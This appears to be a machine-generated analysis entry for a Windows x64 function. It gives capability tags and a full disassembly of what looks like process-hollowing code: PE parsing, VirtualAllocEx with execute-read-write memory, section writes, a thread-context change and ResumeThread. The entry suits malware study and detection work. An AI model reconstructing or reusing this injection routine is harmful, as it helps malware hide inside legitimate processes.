Function at 0x1400c2020
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x1400c2067
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x1400c206a
xor r14d, r14d
call fcn.1400011c9
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x1400c2092
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1400c209b
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1400c20a4
mov eax, dword [r14]
jmp 0x1400c20a8
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1400c2b5c
call fcn.1400c1ff0
test eax, eax
jne 0x1400c20c3
mov ecx, 0x40
jmp 0x1400c20c8
mov ecx, 0x60
call fcn.1400c2c80
mov rdi, rax
call fcn.1400c1ff0
test eax, eax
jne 0x1400c20e0
mov ecx, 0x10
jmp 0x1400c20e5
mov ecx, 0x18
movsxd rcx, ecx
call fcn.140156f10
mov rbx, rax
mov qword [rbp - 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x140468008]
xor r8d, r8d
xor r9d, r9d
call fcn.1400c2ce0
test eax, eax
je 0x1400c24a3
test rdi, 0xffffffffffff0000
je 0x1400c2169
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.140004ef0
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.140004f40
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1400c2a93
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, rbx
mov rdx, rdi
call fcn.1400c3110
mov r13, qword [rbx]
mov qword [rbp - 0x68], rbx
call fcn.1400c1ff0
test eax, eax
jne 0x1400c2a9d
mov rcx, qword [rbp - 0x68]
mov edx, 4
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x48], rax
test r13, r13
je 0x1400c29d5
test rax, rax
je 0x1400c29d5
movzx ecx, byte [r15]
test ecx, ecx
jne 0x1400c2aab
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x1400c2ab5
mov r10d, dword [r14 + 0x54]
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x1400c2abf
movzx edx, word [r14 + 6]
movzx r11d, dx
mov dword [rbp - 0x50], r11d
test ecx, ecx
jne 0x1400c2aca
mov r9d, dword [r14 + 0x28]
mov dword [rbp - 0x54], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, r13
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.140004ef0
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.140004f40
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r13
mov rdx, rsi
mov r9d, dword [rbp - 0x4c]
call fcn.1400c2fd0
test eax, eax
je 0x1400c2917
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1400c2ad4
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x50], 0
jle 0x1400c22e8
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, r13
call fcn.1400c2fd0
test eax, eax
je 0x1400c2859
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x50]
cmp r12d, ecx
mov dword [rbp - 0x50], ecx
jl 0x1400c22a7
cmp byte [r15], 0
jne 0x1400c2ae1
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.140156f10
mov rdi, rax
cmp byte [r15], 0
je 0x1400c2aeb
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x1400c2af6
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1400c2e70
test eax, eax
je 0x1400c279b
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.1400dbad0
mov rcx, r13
cmp byte [r15], 0
jne 0x1400c2b0f
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov r8, rax
call fcn.1400c3060
test eax, eax
je 0x1400c261f
cmp byte [r15], 0
je 0x1400c2b19
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x1400c2b2f
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1400c2f50
test eax, eax
je 0x1400c2561
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.140004ef0
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.140004f40
jmp 0x1400c2b48
lea rcx, [0x1404802a8]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x14046a358]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x1404818f8]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x140482640]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x140485318]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x140482c60]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x1404850c0]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x140476ea8]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x140471148]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x1404852a8]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x14047eed8]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x140483a98]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x140479760]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x14047edd8]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x140469d28]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x1404768a0]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
lea rcx, [0x140480e80]
call fcn.1400de2c0
mov rsi, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.140078b00
mov rcx, rdi
mov edx, 2
call fcn.140079560
mov rcx, rdi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x140470ad0]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400793e0
mov rcx, rdi
call fcn.140078c20
mov rdi, rax
call fcn.140002136
mov r14, qword [rax + 8]
mov r9d, dword [rsi + 8]
mov rcx, rdi
mov rdx, rsi
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, r14
mov rax, qword [r14]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov dword [rdi + 0x48], 0x80131500
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
mov rdi, qword [r12 + 0x30]
jmp 0x1400c217d
mov rcx, qword [rbp - 0x68]
mov edx, 8
jmp 0x1400c21a5
mov r8d, dword [r12 + 0x50]
jmp 0x1400c21d2
mov r10d, dword [r12 + 0x54]
jmp 0x1400c21de
movzx edx, word [r12 + 6]
jmp 0x1400c21ef
mov r9d, dword [r12 + 0x28]
jmp 0x1400c2203
lea r14, [r12 + 0x108]
jmp 0x1400c229e
mov ecx, 0x4d0
jmp 0x1400c22f7
mov dword [rdi], 0x10002
jmp 0x1400c2313
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1400c2de0
test eax, eax
je 0x1400c26dd
jmp 0x1400c2331
lea rdx, [r12 + 0x10]
jmp 0x1400c235b
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1400c2393
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1400c2ef0
test eax, eax
je 0x1400c23e5
jmp 0x1400c23b1
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x14047fc80]
call fcn.1400de2c0
mov rbx, rax
lea rcx, [0x1403982f0]
call fcn.140004280
mov rsi, rax
mov rcx, rsi
call fcn.140078b00
mov rcx, rsi
mov edx, 2
call fcn.140079560
mov rcx, rsi
mov edx, 2
call fcn.1400795c0
lea rcx, [0x1404815e8]
call fcn.1400de2c0
mov rdx, rax
mov rcx, rsi
call fcn.1400793e0
mov rcx, rsi
call fcn.140078c20
mov rsi, rax
call fcn.140002136
mov rdi, qword [rax + 8]
mov r9d, dword [rbx + 8]
mov rcx, rsi
mov rdx, rbx
lea r10, [0x140489d40]
xor r8d, r8d
call qword [r10]
mov rdx, rax
mov rcx, rdi
mov rax, qword [rdi]
call qword [rax + 0xd0]
mov rsi, rax
lea rcx, [0x1403a03a8]
call fcn.140004280
mov rdi, rax
mov rcx, rdi
call fcn.1400d6950
lea rcx, [rdi + 8]
mov rdx, rsi
call fcn.140004590
mov rcx, rdi
call fcn.1400047e0
int3